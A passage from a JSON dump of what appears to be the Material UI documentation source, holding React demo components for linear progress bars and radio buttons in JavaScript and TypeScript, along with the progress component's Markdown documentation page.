    "path": "docs/data/material/components/progress/LinearDeterminate.tsx.preview",
    "content": "<LinearProgress\n  variant=\"determinate\"\n  value={progress}\n  aria-label=\"Export data\"\n/>"
  },
  {
    "path": "docs/data/material/components/progress/LinearIndeterminate.js",
    "content": "import Box from '@mui/material/Box';\nimport LinearProgress from '@mui/material/LinearProgress';\n\nexport default function LinearIndeterminate() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <LinearProgress aria-label=\"Loading…\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/LinearIndeterminate.tsx",
    "content": "import Box from '@mui/material/Box';\nimport LinearProgress from '@mui/material/LinearProgress';\n\nexport default function LinearIndeterminate() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <LinearProgress aria-label=\"Loading…\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/LinearIndeterminate.tsx.preview",
    "content": "<LinearProgress aria-label=\"Loading…\" />"
  },
  {
    "path": "docs/data/material/components/progress/LinearWithValueLabel.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport LinearProgress from '@mui/material/LinearProgress';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nfunction LinearProgressWithLabel(props) {\n  return (\n    <Box sx={{ display: 'flex', alignItems: 'center' }}>\n      <Box sx={{ width: '100%', mr: 1 }}>\n        <LinearProgress\n          variant=\"determinate\"\n          aria-label=\"Upload photos\"\n          {...props}\n        />\n      </Box>\n      <Box sx={{ minWidth: 35 }}>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n          {`${Math.round(props.value)}%`}\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n\nLinearProgressWithLabel.propTypes = {\n  /**\n   * The value of the progress indicator for the determinate and buffer variants.\n   * Value between 0 and 100.\n   */\n  value: PropTypes.number.isRequired,\n};\n\nexport default function LinearWithValueLabel() {\n  const [progress, setProgress] = React.useState(10);\n\n  React.useEffect(() => {\n    const timer = setInterval(() => {\n      setProgress((prevProgress) => (prevProgress >= 100 ? 10 : prevProgress + 10));\n    }, 800);\n    return () => {\n      clearInterval(timer);\n    };\n  }, []);\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <LinearProgressWithLabel value={progress} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/LinearWithValueLabel.tsx",
    "content": "import * as React from 'react';\nimport LinearProgress, { LinearProgressProps } from '@mui/material/LinearProgress';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nfunction LinearProgressWithLabel(props: LinearProgressProps & { value: number }) {\n  return (\n    <Box sx={{ display: 'flex', alignItems: 'center' }}>\n      <Box sx={{ width: '100%', mr: 1 }}>\n        <LinearProgress\n          variant=\"determinate\"\n          aria-label=\"Upload photos\"\n          {...props}\n        />\n      </Box>\n      <Box sx={{ minWidth: 35 }}>\n        <Typography\n          variant=\"body2\"\n          sx={{ color: 'text.secondary' }}\n        >{`${Math.round(props.value)}%`}</Typography>\n      </Box>\n    </Box>\n  );\n}\n\nexport default function LinearWithValueLabel() {\n  const [progress, setProgress] = React.useState(10);\n\n  React.useEffect(() => {\n    const timer = setInterval(() => {\n      setProgress((prevProgress) => (prevProgress >= 100 ? 10 : prevProgress + 10));\n    }, 800);\n    return () => {\n      clearInterval(timer);\n    };\n  }, []);\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <LinearProgressWithLabel value={progress} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/progress/LinearWithValueLabel.tsx.preview",
    "content": "<LinearProgressWithLabel value={progress} />"
  },
  {
    "path": "docs/data/material/components/progress/progress.md",
    "content": "---\nproductId: material-ui\ntitle: Circular, Linear progress React components\ncomponents: CircularProgress, LinearProgress\ngithubLabel: 'scope: progress'\nmaterialDesign: https://m2.material.io/components/progress-indicators\ngithubSource: packages/mui-material/src/LinearProgress\n---\n\n# Progress\n\n<p class=\"description\">Progress indicators commonly known as spinners, express an unspecified wait time or display the length of a process.</p>\n\nProgress indicators inform users about the status of ongoing processes, such as loading an app, submitting a form, or saving updates.\n\n- **Determinate** indicators display how long an operation will take.\n- **Indeterminate** indicators visualize an unspecified wait time.\n\nThe animations of the components rely on CSS as much as possible to work even before the JavaScript is loaded.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Circular\n\n### Circular indeterminate\n\n{{\"demo\": \"CircularIndeterminate.js\"}}\n\n### Circular color\n\n{{\"demo\": \"CircularColor.js\"}}\n\n### Circular size\n\n{{\"demo\": \"CircularSize.js\"}}\n\n### Circular determinate\n\n{{\"demo\": \"CircularDeterminate.js\"}}\n\n### Circular track\n\n{{\"demo\": \"CircularEnableTrack.js\"}}\n\n### Interactive integration\n\n{{\"demo\": \"CircularIntegration.js\"}}\n\n### Circular with label\n\n{{\"demo\": \"CircularWithValueLabel.js\"}}\n\n## Linear\n\n### Linear indeterminate\n\n{{\"demo\": \"LinearIndeterminate.js\"}}\n\n### Linear color\n\n{{\"demo\": \"LinearColor.js\"}}\n\n### Linear determinate\n\n{{\"demo\": \"LinearDeterminate.js\"}}\n\n### Linear buffer\n\n{{\"demo\": \"LinearBuffer.js\"}}\n\n### Linear with label\n\n{{\"demo\": \"LinearWithValueLabel.js\"}}\n\n## Non-standard ranges\n\nThe progress components accept a value in the range 0 - 100. This simplifies things for screen-reader users, where these are the default min / max values. Sometimes, however, you might be working with a data source where the values fall outside this range. Here's how you can easily transform a value in any range to a scale of 0 - 100:\n\n```jsx\n// MIN = Minimum expected value\n// MAX = Maximum expected value\n// Function to normalise the values (MIN / MAX could be integrated)\nconst normalise = (value) => ((value - MIN) * 100) / (MAX - MIN);\n\n// Example component that utilizes the `normalise` function at the point of render.\nfunction Progress(props) {\n  return (\n    <React.Fragment>\n      <CircularProgress\n        variant=\"determinate\"\n        value={normalise(props.value)}\n        aria-label=\"Upload photos\"\n      />\n      <LinearProgress\n        variant=\"determinate\"\n        value={normalise(props.value)}\n        aria-label=\"Upload photos\"\n      />\n    </React.Fragment>\n  );\n}\n```\n\n## Customization\n\nHere are some examples of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedProgressBars.js\", \"defaultCodeOpen\": false}}\n\n## Delaying appearance\n\nThere are [3 important limits](https://www.nngroup.com/articles/response-times-3-important-limits/) to know around response time.\nThe ripple effect of the `ButtonBase` component ensures that the user feels that the UI is reacting instantaneously.\nNormally, no special feedback is necessary during delays of more than 0.1 but less than 1.0 second.\nAfter 1.0 second, you can display a loader to keep user's flow of thought uninterrupted.\n\n{{\"demo\": \"DelayingAppearance.js\"}}\n\n## Accessibility\n\nProgress bars must be given an accessible name by either setting `aria-labelledby` that points to the `id` of a visible text label, or using the `aria-label` attribute.\n\n## Limitations\n\n### High CPU load\n\nUnder heavy load, you might lose the stroke dash animation or see random `CircularProgress` ring widths.\nYou should run processor intensive operations in a web worker or by batch in order not to block the main rendering thread.\n\n<video autoplay muted loop playsinline width=\"1082\" height=\"158\" style=\"width: 541px;\">\n  <source src=\"/static/material-ui/react-components/progress-heavy-load.mp4\" type=\"video/mp4\" />\n</video>\n\nWhen it's not possible, you can leverage the `disableShrink` prop to mitigate the issue.\nSee [this issue](https://github.com/mui/material-ui/issues/10327).\n\n{{\"demo\": \"CircularUnderLoad.js\"}}\n\n### High frequency updates\n\nThe `LinearProgress` uses a transition on the CSS transform property to provide a smooth update between different values.\nThe default transition duration is 200ms.\nIn the event a parent component updates the `value` prop too quickly, you will at least experience a 200ms delay between the re-render and the progress bar fully updated.\n\nIf you need to perform 30 re-renders per second or more, we recommend disabling the transition:\n\n```css\n.MuiLinearProgress-bar {\n  transition: none;\n}\n```\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/ColorRadioButtons.js",
    "content": "import * as React from 'react';\nimport { pink } from '@mui/material/colors';\nimport Radio from '@mui/material/Radio';\n\nexport default function ColorRadioButtons() {\n  const [selectedValue, setSelectedValue] = React.useState('a');\n\n  const handleChange = (event) => {\n    setSelectedValue(event.target.value);\n  };\n\n  const controlProps = (item) => ({\n    checked: selectedValue === item,\n    onChange: handleChange,\n    value: item,\n    name: 'color-radio-button-demo',\n    inputProps: { 'aria-label': item },\n  });\n\n  return (\n    <div>\n      <Radio {...controlProps('a')} />\n      <Radio {...controlProps('b')} color=\"secondary\" />\n      <Radio {...controlProps('c')} color=\"success\" />\n      <Radio {...controlProps('d')} color=\"default\" />\n      <Radio\n        {...controlProps('e')}\n        sx={{\n          color: pink[800],\n          '&.Mui-checked': {\n            color: pink[600],\n          },\n        }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/ColorRadioButtons.tsx",
    "content": "import * as React from 'react';\nimport { pink } from '@mui/material/colors';\nimport Radio from '@mui/material/Radio';\n\nexport default function ColorRadioButtons() {\n  const [selectedValue, setSelectedValue] = React.useState('a');\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setSelectedValue(event.target.value);\n  };\n\n  const controlProps = (item: string) => ({\n    checked: selectedValue === item,\n    onChange: handleChange,\n    value: item,\n    name: 'color-radio-button-demo',\n    inputProps: { 'aria-label': item },\n  });\n\n  return (\n    <div>\n      <Radio {...controlProps('a')} />\n      <Radio {...controlProps('b')} color=\"secondary\" />\n      <Radio {...controlProps('c')} color=\"success\" />\n      <Radio {...controlProps('d')} color=\"default\" />\n      <Radio\n        {...controlProps('e')}\n        sx={{\n          color: pink[800],\n          '&.Mui-checked': {\n            color: pink[600],\n          },\n        }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/ColorRadioButtons.tsx.preview",
    "content": "<Radio {...controlProps('a')} />\n<Radio {...controlProps('b')} color=\"secondary\" />\n<Radio {...controlProps('c')} color=\"success\" />\n<Radio {...controlProps('d')} color=\"default\" />\n<Radio\n  {...controlProps('e')}\n  sx={{\n    color: pink[800],\n    '&.Mui-checked': {\n      color: pink[600],\n    },\n  }}\n/>"
  },
  {
    "path": "docs/data/material/components/radio-buttons/ControlledRadioButtonsGroup.js",
    "content": "import * as React from 'react';\nimport Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nexport default function ControlledRadioButtonsGroup() {\n  const [value, setValue] = React.useState('female');\n\n  const handleChange = (event) => {\n    setValue(event.target.value);\n  };\n\n  return (\n    <FormControl>\n      <FormLabel id=\"demo-controlled-radio-buttons-group\">Gender</FormLabel>\n      <RadioGroup\n        aria-labelledby=\"demo-controlled-radio-buttons-group\"\n        name=\"controlled-radio-buttons-group\"\n        value={value}\n        onChange={handleChange}\n      >\n        <FormControlLabel value=\"female\" control={<Radio />} label=\"Female\" />\n        <FormControlLabel value=\"male\" control={<Radio />} label=\"Male\" />\n      </RadioGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/ControlledRadioButtonsGroup.tsx",
    "content": "import * as React from 'react';\nimport Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nexport default function ControlledRadioButtonsGroup() {\n  const [value, setValue] = React.useState('female');\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setValue((event.target as HTMLInputElement).value);\n  };\n\n  return (\n    <FormControl>\n      <FormLabel id=\"demo-controlled-radio-buttons-group\">Gender</FormLabel>\n      <RadioGroup\n        aria-labelledby=\"demo-controlled-radio-buttons-group\"\n        name=\"controlled-radio-buttons-group\"\n        value={value}\n        onChange={handleChange}\n      >\n        <FormControlLabel value=\"female\" control={<Radio />} label=\"Female\" />\n        <FormControlLabel value=\"male\" control={<Radio />} label=\"Male\" />\n      </RadioGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/ControlledRadioButtonsGroup.tsx.preview",
    "content": "<FormControl>\n  <FormLabel id=\"demo-controlled-radio-buttons-group\">Gender</FormLabel>\n  <RadioGroup\n    aria-labelledby=\"demo-controlled-radio-buttons-group\"\n    name=\"controlled-radio-buttons-group\"\n    value={value}\n    onChange={handleChange}\n  >\n    <FormControlLabel value=\"female\" control={<Radio />} label=\"Female\" />\n    <FormControlLabel value=\"male\" control={<Radio />} label=\"Male\" />\n  </RadioGroup>\n</FormControl>"
  },
  {
    "path": "docs/data/material/components/radio-buttons/CustomizedRadios.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nconst BpIcon = styled('span')(({ theme }) => ({\n  borderRadius: '50%',\n  width: 16,\n  height: 16,\n  boxShadow: 'inset 0 0 0 1px rgba(16,22,26,.2), inset 0 -1px 0 rgba(16,22,26,.1)',\n  backgroundColor: '#f5f8fa',\n  backgroundImage: 'linear-gradient(180deg,hsla(0,0%,100%,.8),hsla(0,0%,100%,0))',\n  '.Mui-focusVisible &': {\n    outline: '2px auto rgba(19,124,189,.6)',\n    outlineOffset: 2,\n  },\n  'input:hover ~ &': {\n    backgroundColor: '#ebf1f5',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#30404d',\n    }),\n  },\n  'input:disabled ~ &': {\n    boxShadow: 'none',\n    background: 'rgba(206,217,224,.5)',\n    ...theme.applyStyles('dark', {\n      background: 'rgba(57,75,89,.5)',\n    }),\n  },\n  ...theme.applyStyles('dark', {\n    boxShadow: '0 0 0 1px rgb(16 22 26 / 40%)',\n    backgroundColor: '#394b59',\n    backgroundImage: 'linear-gradient(180deg,hsla(0,0%,100%,.05),hsla(0,0%,100%,0))',\n  }),\n}));\n\nconst BpCheckedIcon = styled(BpIcon)({\n  backgroundColor: '#137cbd',\n  backgroundImage: 'linear-gradient(180deg,hsla(0,0%,100%,.1),hsla(0,0%,100%,0))',\n  '&::before': {\n    display: 'block',\n    width: 16,\n    height: 16,\n    backgroundImage: 'radial-gradient(#fff,#fff 28%,transparent 32%)',\n    content: '\"\"',\n  },\n  'input:hover ~ &': {\n    backgroundColor: '#106ba3',\n  },\n});\n\n// Inspired by blueprintjs\nfunction BpRadio(props) {\n  return (\n    <Radio\n      disableRipple\n      color=\"default\"\n      checkedIcon={<BpCheckedIcon />}\n      icon={<BpIcon />}\n      {...props}\n    />\n  );\n}\n\nexport default function CustomizedRadios() {\n  return (\n    <FormControl>\n      <FormLabel id=\"demo-customized-radios\">Gender</FormLabel>\n      <RadioGroup\n        defaultValue=\"female\"\n        aria-labelledby=\"demo-customized-radios\"\n        name=\"customized-radios\"\n      >\n        <FormControlLabel value=\"female\" control={<BpRadio />} label=\"Female\" />\n        <FormControlLabel value=\"male\" control={<BpRadio />} label=\"Male\" />\n        <FormControlLabel value=\"other\" control={<BpRadio />} label=\"Other\" />\n        <FormControlLabel\n          value=\"disabled\"\n          disabled\n          control={<BpRadio />}\n          label=\"(Disabled option)\"\n        />\n      </RadioGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/CustomizedRadios.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Radio, { RadioProps } from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nconst BpIcon = styled('span')(({ theme }) => ({\n  borderRadius: '50%',\n  width: 16,\n  height: 16,\n  boxShadow: 'inset 0 0 0 1px rgba(16,22,26,.2), inset 0 -1px 0 rgba(16,22,26,.1)',\n  backgroundColor: '#f5f8fa',\n  backgroundImage: 'linear-gradient(180deg,hsla(0,0%,100%,.8),hsla(0,0%,100%,0))',\n  '.Mui-focusVisible &': {\n    outline: '2px auto rgba(19,124,189,.6)',\n    outlineOffset: 2,\n  },\n  'input:hover ~ &': {\n    backgroundColor: '#ebf1f5',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#30404d',\n    }),\n  },\n  'input:disabled ~ &': {\n    boxShadow: 'none',\n    background: 'rgba(206,217,224,.5)',\n    ...theme.applyStyles('dark', {\n      background: 'rgba(57,75,89,.5)',\n    }),\n  },\n  ...theme.applyStyles('dark', {\n    boxShadow: '0 0 0 1px rgb(16 22 26 / 40%)',\n    backgroundColor: '#394b59',\n    backgroundImage: 'linear-gradient(180deg,hsla(0,0%,100%,.05),hsla(0,0%,100%,0))',\n  }),\n}));\n\nconst BpCheckedIcon = styled(BpIcon)({\n  backgroundColor: '#137cbd',\n  backgroundImage: 'linear-gradient(180deg,hsla(0,0%,100%,.1),hsla(0,0%,100%,0))',\n  '&::before': {\n    display: 'block',\n    width: 16,\n    height: 16,\n    backgroundImage: 'radial-gradient(#fff,#fff 28%,transparent 32%)',\n    content: '\"\"',\n  },\n  'input:hover ~ &': {\n    backgroundColor: '#106ba3',\n  },\n});\n\n// Inspired by blueprintjs\nfunction BpRadio(props: RadioProps) {\n  return (\n    <Radio\n      disableRipple\n      color=\"default\"\n      checkedIcon={<BpCheckedIcon />}\n      icon={<BpIcon />}\n      {...props}\n    />\n  );\n}\n\nexport default function CustomizedRadios() {\n  return (\n    <FormControl>\n      <FormLabel id=\"demo-customized-radios\">Gender</FormLabel>\n      <RadioGroup\n        defaultValue=\"female\"\n        aria-labelledby=\"demo-customized-radios\"\n        name=\"customized-radios\"\n      >\n        <FormControlLabel value=\"female\" control={<BpRadio />} label=\"Female\" />\n        <FormControlLabel value=\"male\" control={<BpRadio />} label=\"Male\" />\n        <FormControlLabel value=\"other\" control={<BpRadio />} label=\"Other\" />\n        <FormControlLabel\n          value=\"disabled\"\n          disabled\n          control={<BpRadio />}\n          label=\"(Disabled option)\"\n        />\n      </RadioGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/ErrorRadios.js",
    "content": "import * as React from 'react';\nimport Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport FormLabel from '@mui/material/FormLabel';\nimport Button from '@mui/material/Button';\n\nexport default function ErrorRadios() {\n  const [value, setValue] = React.useState('');\n  const [error, setError] = React.useState(false);\n  const [helperText, setHelperText] = React.useState('Choose wisely');\n\n  const handleRadioChange = (event) => {\n    setValue(event.target.value);\n    setHelperText(' ');\n    setError(false);\n  };\n\n  const handleSubmit = (event) => {\n    event.preventDefault();\n\n    if (value === 'best') {\n      setHelperText('You got it!');\n      setError(false);\n    } else if (value === 'worst') {\n      setHelperText('Sorry, wrong answer!');\n      setError(true);\n    } else {\n      setHelperText('Please select an option.');\n      setError(true);\n    }\n  };\n\n  return (\n    <form onSubmit={handleSubmit}>\n      <FormControl sx={{ m: 3 }} error={error} variant=\"standard\">\n        <FormLabel id=\"demo-error-radios\">Pop quiz: MUI is...</FormLabel>\n        <RadioGroup\n          aria-labelledby=\"demo-error-radios\"\n          name=\"quiz\"\n          value={value}\n          onChange={handleRadioChange}\n        >\n          <FormControlLabel value=\"best\" control={<Radio />} label=\"The best!\" />\n          <FormControlLabel value=\"worst\" control={<Radio />} label=\"The worst.\" />\n        </RadioGroup>\n        <FormHelperText>{helperText}</FormHelperText>\n        <Button sx={{ mt: 1, mr: 1 }} type=\"submit\" variant=\"outlined\">\n          Check Answer\n        </Button>\n      </FormControl>\n    </form>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/ErrorRadios.tsx",
    "content": "import * as React from 'react';\nimport Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport FormLabel from '@mui/material/FormLabel';\nimport Button from '@mui/material/Button';\n\nexport default function ErrorRadios() {\n  const [value, setValue] = React.useState('');\n  const [error, setError] = React.useState(false);\n  const [helperText, setHelperText] = React.useState('Choose wisely');\n\n  const handleRadioChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setValue((event.target as HTMLInputElement).value);\n    setHelperText(' ');\n    setError(false);\n  };\n\n  const handleSubmit = (event: React.FormEvent<HTMLFormElement>) => {\n    event.preventDefault();\n\n    if (value === 'best') {\n      setHelperText('You got it!');\n      setError(false);\n    } else if (value === 'worst') {\n      setHelperText('Sorry, wrong answer!');\n      setError(true);\n    } else {\n      setHelperText('Please select an option.');\n      setError(true);\n    }\n  };\n\n  return (\n    <form onSubmit={handleSubmit}>\n      <FormControl sx={{ m: 3 }} error={error} variant=\"standard\">\n        <FormLabel id=\"demo-error-radios\">Pop quiz: MUI is...</FormLabel>\n        <RadioGroup\n          aria-labelledby=\"demo-error-radios\"\n          name=\"quiz\"\n          value={value}\n          onChange={handleRadioChange}\n        >\n          <FormControlLabel value=\"best\" control={<Radio />} label=\"The best!\" />\n          <FormControlLabel value=\"worst\" control={<Radio />} label=\"The worst.\" />\n        </RadioGroup>\n        <FormHelperText>{helperText}</FormHelperText>\n        <Button sx={{ mt: 1, mr: 1 }} type=\"submit\" variant=\"outlined\">\n          Check Answer\n        </Button>\n      </FormControl>\n    </form>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/FormControlLabelPlacement.js",
    "content": "import Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nexport default function FormControlLabelPlacement() {\n  return (\n    <FormControl>\n      <FormLabel id=\"demo-form-control-label-placement\">Label placement</FormLabel>\n      <RadioGroup\n        row\n        aria-labelledby=\"demo-form-control-label-placement\"\n        name=\"position\"\n        defaultValue=\"top\"\n      >\n        <FormControlLabel\n          value=\"bottom\"\n          control={<Radio />}\n          label=\"Bottom\"\n          labelPlacement=\"bottom\"\n        />\n        <FormControlLabel value=\"end\" control={<Radio />} label=\"End\" />\n      </RadioGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/FormControlLabelPlacement.tsx",
    "content": "import Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nexport default function FormControlLabelPlacement() {\n  return (\n    <FormControl>\n      <FormLabel id=\"demo-form-control-label-placement\">Label placement</FormLabel>\n      <RadioGroup\n        row\n        aria-labelledby=\"demo-form-control-label-placement\"\n        name=\"position\"\n        defaultValue=\"top\"\n      >\n        <FormControlLabel\n          value=\"bottom\"\n          control={<Radio />}\n          label=\"Bottom\"\n          labelPlacement=\"bottom\"\n        />\n        <FormControlLabel value=\"end\" control={<Radio />} label=\"End\" />\n      </RadioGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/RadioButtons.js",
    "content": "import * as React from 'react';\nimport Radio from '@mui/material/Radio';\n\nexport default function RadioButtons() {\n  const [selectedValue, setSelectedValue] = React.useState('a');\n\n  const handleChange = (event) => {\n    setSelectedValue(event.target.value);\n  };\n\n  return (\n    <div>\n      <Radio\n        checked={selectedValue === 'a'}\n        onChange={handleChange}\n        value=\"a\"\n        name=\"radio-buttons\"\n        slotProps={{ input: { 'aria-label': 'A' } }}\n      />\n      <Radio\n        checked={selectedValue === 'b'}\n        onChange={handleChange}\n        value=\"b\"\n        name=\"radio-buttons\"\n        slotProps={{ input: { 'aria-label': 'B' } }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/RadioButtons.tsx",
    "content": "import * as React from 'react';\nimport Radio from '@mui/material/Radio';\n\nexport default function RadioButtons() {\n  const [selectedValue, setSelectedValue] = React.useState('a');\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setSelectedValue(event.target.value);\n  };\n\n  return (\n    <div>\n      <Radio\n        checked={selectedValue === 'a'}\n        onChange={handleChange}\n        value=\"a\"\n        name=\"radio-buttons\"\n        slotProps={{ input: { 'aria-label': 'A' } }}\n      />\n      <Radio\n        checked={selectedValue === 'b'}\n        onChange={handleChange}\n        value=\"b\"\n        name=\"radio-buttons\"\n        slotProps={{ input: { 'aria-label': 'B' } }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/RadioButtons.tsx.preview",
    "content": "<Radio\n  checked={selectedValue === 'a'}\n  onChange={handleChange}\n  value=\"a\"\n  name=\"radio-buttons\"\n  slotProps={{ input: { 'aria-label': 'A' } }}\n/>\n<Radio\n  checked={selectedValue === 'b'}\n  onChange={handleChange}\n  value=\"b\"\n  name=\"radio-buttons\"\n  slotProps={{ input: { 'aria-label': 'B' } }}\n/>"
  },
  {
    "path": "docs/data/material/components/radio-buttons/RadioButtonsGroup.js",
    "content": "import Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nexport default function RadioButtonsGroup() {\n  return (\n    <FormControl>\n      <FormLabel id=\"demo-radio-buttons-group-label\">Gender</FormLabel>\n      <RadioGroup\n        aria-labelledby=\"demo-radio-buttons-group-label\"\n        defaultValue=\"female\"\n        name=\"radio-buttons-group\"\n      >\n        <FormControlLabel value=\"female\" control={<Radio />} label=\"Female\" />\n        <FormControlLabel value=\"male\" control={<Radio />} label=\"Male\" />\n        <FormControlLabel value=\"other\" control={<Radio />} label=\"Other\" />\n      </RadioGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/RadioButtonsGroup.tsx",
    "content": "import Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nexport default function RadioButtonsGroup() {\n  return (\n    <FormControl>\n      <FormLabel id=\"demo-radio-buttons-group-label\">Gender</FormLabel>\n      <RadioGroup\n        aria-labelledby=\"demo-radio-buttons-group-label\"\n        defaultValue=\"female\"\n        name=\"radio-buttons-group\"\n      >\n        <FormControlLabel value=\"female\" control={<Radio />} label=\"Female\" />\n        <FormControlLabel value=\"male\" control={<Radio />} label=\"Male\" />\n        <FormControlLabel value=\"other\" control={<Radio />} label=\"Other\" />\n      </RadioGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/RadioButtonsGroup.tsx.preview",
    "content": "<FormControl>\n  <FormLabel id=\"demo-radio-buttons-group-label\">Gender</FormLabel>\n  <RadioGroup\n    aria-labelledby=\"demo-radio-buttons-group-label\"\n    defaultValue=\"female\"\n    name=\"radio-buttons-group\"\n  >\n    <FormControlLabel value=\"female\" control={<Radio />} label=\"Female\" />\n    <FormControlLabel value=\"male\" control={<Radio />} label=\"Male\" />\n    <FormControlLabel value=\"other\" control={<Radio />} label=\"Other\" />\n  </RadioGroup>\n</FormControl>"
  },
  {
    "path": "docs/data/material/components/radio-buttons/RowRadioButtonsGroup.js",
    "content": "import Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nexport default function RowRadioButtonsGroup() {\n  return (\n    <FormControl>\n      <FormLabel id=\"demo-row-radio-buttons-group-label\">Gender</FormLabel>\n      <RadioGroup\n        row\n        aria-labelledby=\"demo-row-radio-buttons-group-label\"\n        name=\"row-radio-buttons-group\"\n      >\n        <FormControlLabel value=\"female\" control={<Radio />} label=\"Female\" />\n        <FormControlLabel value=\"male\" control={<Radio />} label=\"Male\" />\n        <FormControlLabel value=\"other\" control={<Radio />} label=\"Other\" />\n        <FormControlLabel\n          value=\"disabled\"\n          disabled\n          control={<Radio />}\n          label=\"other\"\n        />\n      </RadioGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/radio-buttons/RowRadioButtonsGroup.tsx",
    "content": "import Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nexport default function RowRadioButtonsGroup() {\n  return (\n    <FormControl>\n      <FormLabel id=\"demo-row-radio-buttons-group-label\">Gender</FormLabel>\n      <RadioGroup\n        row\n        aria-labelledby=\"demo-row-radio-buttons-group-label\"\n        name=\"row-radio-buttons-group\"\n      >\n        <FormControlLabel value=\"female\" control={<Radio />} label=\"Female\" />\n        <FormControlLabel value=\"male\" control={<Radio />} label=\"Male\" />\n        <FormControlLabel value=\"other\" control={<Radio />} label=\"Other\" />\n        <FormControlLabel\n          value=\"disabled\"\n          disabled\n          control={<Radio />}\n          label=\"other\"\n        />\n      </RadioGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
